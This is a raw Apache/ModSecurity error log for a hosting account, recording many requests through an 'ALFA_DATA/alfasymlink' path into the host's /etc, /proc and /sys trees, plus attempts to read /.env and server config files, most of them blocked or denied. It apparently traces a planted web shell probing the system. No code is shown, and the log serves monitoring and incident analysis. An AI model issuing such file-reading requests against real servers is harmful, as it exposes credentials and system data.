[Sun Oct 25 11:42:11.954886 2026] [security2:error] [pid 2855805:tid 2855805] [client 16.216.88.202:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/auth_policy.conf"] [unique_id "at4jU9C9X1saEIOersrHIAAAABY"]
[Sun Oct 25 11:42:11.955307 2026] [security2:error] [pid 2855805:tid 2855805] [client 16.216.88.202:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/auth_policy.conf"] [unique_id "at4jU9C9X1saEIOersrHIAAAABY"]
[Sun Oct 25 11:42:22.164330 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 3.218.103.254:4155] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:42:26.170449 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 18.215.49.176:9977] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:42:34.162036 2026] [core:error] [pid 2855805:tid 2855805] (13)Permission denied: [client 34.231.118.144:2548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:02.0/resource1
[Sun Oct 25 11:42:42.148880 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 100.29.155.89:51450] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:42:50.141374 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 52.2.83.227:20013] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:42:51.913363 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 185.191.171.14:19042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/hwcache_align
[Sun Oct 25 11:42:59.568189 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 185.191.171.14:19052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:43:02.193938 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 34.206.249.188:1462] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:43:18.216153 2026] [security2:error] [pid 2855803:tid 2855803] [client 18.209.201.119:41272] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:04/wakeup/"] [unique_id "at4jll9_xErUkx7sxeSdxAAAABQ"]
[Sun Oct 25 11:43:18.216222 2026] [security2:error] [pid 2855803:tid 2855803] [client 18.209.201.119:41272] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:04/wakeup/"] [unique_id "at4jll9_xErUkx7sxeSdxAAAABQ"]
[Sun Oct 25 11:43:26.377075 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 52.54.15.103:24898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:43:30.143894 2026] [core:error] [pid 2855805:tid 2855805] (13)Permission denied: [client 54.225.81.20:49444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/LNXCPU:01/physical_node/driver/bind
[Sun Oct 25 11:43:50.350189 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 44.212.145.46:24403] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:44:02.153015 2026] [ssl:error] [pid 2855811:tid 2855811] (5)Input/output error: [client 52.21.62.139:5981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:44:10.316309 2026] [ssl:error] [pid 2855813:tid 2855813] (5)Input/output error: [client 98.82.59.253:5429] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:44:18.130796 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 3.219.80.71:6542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:44:26.343977 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 23.23.212.212:11457] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:44:30.117452 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 34.236.41.241:23823] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:44:42.261088 2026] [core:error] [pid 2855809:tid 2855809] (13)Permission denied: [client 3.218.103.254:43403] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/remove
[Sun Oct 25 11:44:50.153435 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 3.226.106.93:22008] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:44:54.301014 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 34.206.249.188:21839] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:44:58.142125 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 54.144.185.255:51651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:45:02.141757 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 34.231.118.144:36902] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:45:07.682124 2026] [security2:error] [pid 2853395:tid 2853395] [client 91.204.224.17:49154] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/"] [unique_id "at4kAxUSNe6FSAQsg7tTwQAAABs"]
[Sun Oct 25 11:45:10.154758 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 23.23.212.212:35841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:45:14.198698 2026] [ssl:error] [pid 2855813:tid 2855813] (5)Input/output error: [client 44.212.106.171:56628] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:45:20.657029 2026] [security2:error] [pid 2855797:tid 2855797] [client 16.216.88.147:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum.conf"] [unique_id "at4kELhaAozp4xXC6PB5-QAAAAg"]
[Sun Oct 25 11:45:20.657501 2026] [security2:error] [pid 2855797:tid 2855797] [client 16.216.88.147:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum.conf"] [unique_id "at4kELhaAozp4xXC6PB5-QAAAAg"]
[Sun Oct 25 11:45:20.657872 2026] [security2:error] [pid 2855797:tid 2855797] [client 16.216.88.147:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum.conf"] [unique_id "at4kELhaAozp4xXC6PB5-QAAAAg"]
[Sun Oct 25 11:45:22.133573 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 52.0.63.151:34550] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:45:27.315599 2026] [core:error] [pid 2855811:tid 2855811] (13)Permission denied: [client 185.191.171.3:38592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_mm_slot/red_zone
[Sun Oct 25 11:45:42.132770 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 3.222.190.107:47468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:46:10.140042 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 100.29.160.53:3298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:46:18.260278 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 98.83.10.183:33077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:46:18.526706 2026] [security2:error] [pid 2855816:tid 2855816] [client 185.191.171.18:14382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/udev/rules.d/91-drm-modeset.rules"] [unique_id "at4kSszKV4PiShTe6l2g0gAAACI"]
[Sun Oct 25 11:46:18.526756 2026] [security2:error] [pid 2855816:tid 2855816] [client 185.191.171.18:14382] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/udev/rules.d/91-drm-modeset.rules"] [unique_id "at4kSszKV4PiShTe6l2g0gAAACI"]
[Sun Oct 25 11:46:26.149183 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 34.205.170.13:9330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:46:28.441843 2026] [core:error] [pid 2855813:tid 2855813] (13)Permission denied: [client 185.191.171.13:42392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/trace
[Sun Oct 25 11:46:38.133771 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 44.206.65.8:60725] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:46:54.112666 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 18.210.58.238:57368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:02.116666 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 23.21.175.228:33713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:02.120979 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 85.208.96.206:17878] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:06.139231 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 100.28.49.152:23801] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:08.518780 2026] [core:error] [pid 2855816:tid 2855816] (13)Permission denied: [client 185.191.171.17:40580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/red_zone
[Sun Oct 25 11:47:08.519253 2026] [security2:error] [pid 2855816:tid 2855816] [client 185.191.171.17:40580] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/red_zone"] [unique_id "at4kfMzKV4PiShTe6l2g1AAAACI"]
[Sun Oct 25 11:47:08.519281 2026] [security2:error] [pid 2855816:tid 2855816] [client 185.191.171.17:40580] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dentry/red_zone"] [unique_id "at4kfMzKV4PiShTe6l2g1AAAACI"]
[Sun Oct 25 11:47:10.286224 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 34.224.132.215:20210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:14.188349 2026] [core:error] [pid 2853395:tid 2853395] (13)Permission denied: [client 98.84.60.17:50513] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node1/subsystem/drivers/serio_raw/unbind
[Sun Oct 25 11:47:15.233985 2026] [ssl:error] [pid 2855813:tid 2855813] (6)No such device or address: [client 185.191.171.4:36332] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:16.093698 2026] [ssl:error] [pid 2855792:tid 2855792] (6)No such device or address: [client 185.191.171.4:36344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:16.093919 2026] [security2:error] [pid 2855792:tid 2855792] [client 185.191.171.4:36344] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/block/sr0/trace/enable"] [unique_id "at4khDny6hllpa988e1u-wAAAAI"]
[Sun Oct 25 11:47:16.093945 2026] [security2:error] [pid 2855792:tid 2855792] [client 185.191.171.4:36344] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/block/sr0/trace/enable"] [unique_id "at4khDny6hllpa988e1u-wAAAAI"]
[Sun Oct 25 11:47:26.149851 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 18.211.148.239:18642] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:30.178828 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 18.214.186.220:24123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:38.128664 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 18.213.240.226:48506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:42.221218 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 52.205.113.104:32657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:46.146739 2026] [ssl:error] [pid 2855792:tid 2855792] (70014)End of file found: [client 34.225.87.80:61574] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:47:46.146924 2026] [security2:error] [pid 2855792:tid 2855792] [client 34.225.87.80:61574] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/device"] [unique_id "at4kojny6hllpa988e1u_AAAAAI"]
[Sun Oct 25 11:47:46.146962 2026] [security2:error] [pid 2855792:tid 2855792] [client 34.225.87.80:61574] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/device"] [unique_id "at4kojny6hllpa988e1u_AAAAAI"]
[Sun Oct 25 11:47:50.129569 2026] [core:error] [pid 2855803:tid 2855803] (13)Permission denied: [client 3.225.45.252:40487] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/crash_notes_size
[Sun Oct 25 11:47:58.267984 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 35.168.238.50:32851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:48:02.152967 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 52.200.54.136:61976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:48:15.905638 2026] [core:error] [pid 2855813:tid 2855813] (13)Permission denied: [client 85.208.96.206:56854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/slabs_cpu_partial
[Sun Oct 25 11:48:38.153883 2026] [ssl:error] [pid 2855816:tid 2855816] (5)Input/output error: [client 54.235.172.96:3517] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:48:42.181030 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 34.236.135.14:64619] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:48:50.156696 2026] [ssl:error] [pid 2855813:tid 2855813] (5)Input/output error: [client 52.45.77.169:59020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:49:02.173363 2026] [core:error] [pid 2855797:tid 2855797] (13)Permission denied: [client 98.83.72.38:29585] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input0/device/driver/uevent
[Sun Oct 25 11:49:06.166848 2026] [security2:error] [pid 2855794:tid 2855794] [client 52.4.76.156:8386] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/subsystem/drivers/system/"] [unique_id "at4k8pa7jgKKz5LnrbxK_QAAAAQ"]
[Sun Oct 25 11:49:06.166899 2026] [security2:error] [pid 2855794:tid 2855794] [client 52.4.76.156:8386] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/subsystem/drivers/system/"] [unique_id "at4k8pa7jgKKz5LnrbxK_QAAAAQ"]
[Sun Oct 25 11:49:14.167835 2026] [core:error] [pid 2855816:tid 2855816] (13)Permission denied: [client 54.225.181.161:18835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/firmware_node/physical_node/resource0
[Sun Oct 25 11:49:26.166792 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 44.223.232.55:55577] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:49:30.242833 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 44.223.232.55:34346] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:49:42.554793 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 184.72.95.195:41503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:49:54.213548 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 3.224.215.150:23401] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:50:01.760916 2026] [security2:error] [pid 2855803:tid 2855803] [client 130.12.180.166:46342] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4lKV9_xErUkx7sxeSd0gAAABQ"]
[Sun Oct 25 11:50:01.761155 2026] [security2:error] [pid 2855803:tid 2855803] [client 130.12.180.166:46342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4lKV9_xErUkx7sxeSd0gAAABQ"]
[Sun Oct 25 11:50:01.761565 2026] [security2:error] [pid 2855803:tid 2855803] [client 130.12.180.166:46342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4lKV9_xErUkx7sxeSd0gAAABQ"]
[Sun Oct 25 11:50:04.339315 2026] [core:error] [pid 2855794:tid 2855794] (13)Permission denied: [client 85.208.96.205:10764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/objs_per_slab
[Sun Oct 25 11:50:06.453161 2026] [core:error] [pid 2855816:tid 2855816] (13)Permission denied: [client 85.208.96.195:23500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/slab_size
[Sun Oct 25 11:50:18.341705 2026] [ssl:error] [pid 2855803:tid 2855803] (70014)End of file found: [client 54.145.82.217:58004] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:50:22.319710 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 34.230.124.21:23719] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:50:30.261299 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 18.214.186.220:29003] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:50:30.940925 2026] [core:error] [pid 2855816:tid 2855816] (13)Permission denied: [client 185.191.171.8:13588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-256/cpu_slabs
[Sun Oct 25 11:50:32.303291 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 185.191.171.10:58884] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:50:34.231554 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 34.236.135.14:24519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:50:38.237329 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 54.84.102.81:44455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:50:54.383269 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 18.209.137.234:40170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:50:58.576405 2026] [ssl:error] [pid 2855816:tid 2855816] (70014)End of file found: [client 44.208.223.68:20257] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:51:06.717152 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 23.23.104.107:27365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:51:10.379825 2026] [ssl:error] [pid 2855797:tid 2855797] (70014)End of file found: [client 54.162.69.192:13921] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:51:14.315972 2026] [ssl:error] [pid 2855794:tid 2855794] (70014)End of file found: [client 54.86.59.155:30380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:51:16.780387 2026] [core:error] [pid 2855805:tid 2855805] (13)Permission denied: [client 85.208.96.195:33564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8k/free_calls
[Sun Oct 25 11:51:22.256188 2026] [ssl:error] [pid 2855811:tid 2855811] (70014)End of file found: [client 52.2.58.41:15931] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:51:26.275951 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 34.192.125.239:36132] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:51:30.550152 2026] [ssl:error] [pid 2855813:tid 2855813] (70014)End of file found: [client 52.2.58.41:24172] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:51:34.389307 2026] [core:error] [pid 2855792:tid 2855792] (13)Permission denied: [client 3.230.224.6:6278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/devices/pcspkr/driver/unbind
[Sun Oct 25 11:51:46.281034 2026] [ssl:error] [pid 2855809:tid 2855809] (70014)End of file found: [client 23.23.99.55:11656] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:51:50.427698 2026] [ssl:error] [pid 2855805:tid 2855805] (70014)End of file found: [client 3.209.174.110:19180] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 11:51:54.405004 2026] [core:error] [pid 2855816:tid 2855816] (13)Permission denied: [client 98.82.38.120:55741] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/driver/bind
[Sun Oct 25 11:51:58.300121 2026] [core:error] [pid 2855811:tid 2855811] (13)Permission denied: [client 54.83.56.1:27754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/crash_notes_size
[Sun Oct 25 11:52:02.284008 2026] [ssl:error] [pid 2853395:tid 2853395] (70014)End of file found: [client 3.93.98.99:35972] AH02013: coalesce failed to read from data bucket
